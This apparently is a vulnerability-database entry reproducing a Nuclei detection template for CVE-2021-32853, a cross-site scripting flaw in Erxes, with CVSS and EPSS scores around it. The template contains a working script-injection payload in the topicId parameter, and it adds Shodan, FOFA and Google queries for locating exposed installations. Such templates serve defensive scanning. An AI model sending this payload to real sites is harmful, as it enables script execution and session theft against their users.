4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
9.6 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
5.9 Medium
AI Score
Confidence
High
0.053 Low
EPSS
Percentile
93.1%
Erxes before 0.23.0 contains a cross-site scripting vulnerability. The value of topicID parameter is not escaped and is triggered in the enclosing script tag.
id: CVE-2021-32853
info:
name: Erxes <0.23.0 - Cross-Site Scripting
author: dwisiswant0
severity: critical
description: Erxes before 0.23.0 contains a cross-site scripting vulnerability. The value of topicID parameter is not escaped and is triggered in the enclosing script tag.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade to Erxes version 0.23.0 or later to mitigate the vulnerability.
reference:
- https://securitylab.github.com/advisories/GHSL-2021-103-erxes/
- https://nvd.nist.gov/vuln/detail/CVE-2021-3285
- https://github.com/erxes/erxes/blob/f131b49add72032650d483f044d00658908aaf4a/widgets/server/views/widget.ejs#L14
- https://github.com/erxes/erxes/blob/f131b49add72032650d483f044d00658908aaf4a/widgets/server/index.ts#L54
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
cvss-score: 9.6
cve-id: CVE-2021-32853
cwe-id: CWE-79
epss-score: 0.01224
epss-percentile: 0.83856
cpe: cpe:2.3:a:erxes:erxes:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: erxes
product: erxes
shodan-query: http.title:"erxes"
fofa-query: title="erxes"
google-query: intitle:"erxes"
tags: cve2021,cve,xss,erxes,oss
http:
- method: GET
path:
- "{{BaseURL}}/widgets/knowledgebase?topicId=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'topic_id: "</script><script>alert(document.domain)</script>'
- "window.erxesEnv"
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 490a004630440220710309b95468b537919c23f53d4fdcbed93b96ed7a9b7f29377c5c86b800a7ea02205b339a6fab958bf155c864134870b809b82b8b2067f3da69059a95282246238a:922c64590222798bb761d5b6d8e72950
4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
9.6 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
5.9 Medium
AI Score
Confidence
High
0.053 Low
EPSS
Percentile
93.1%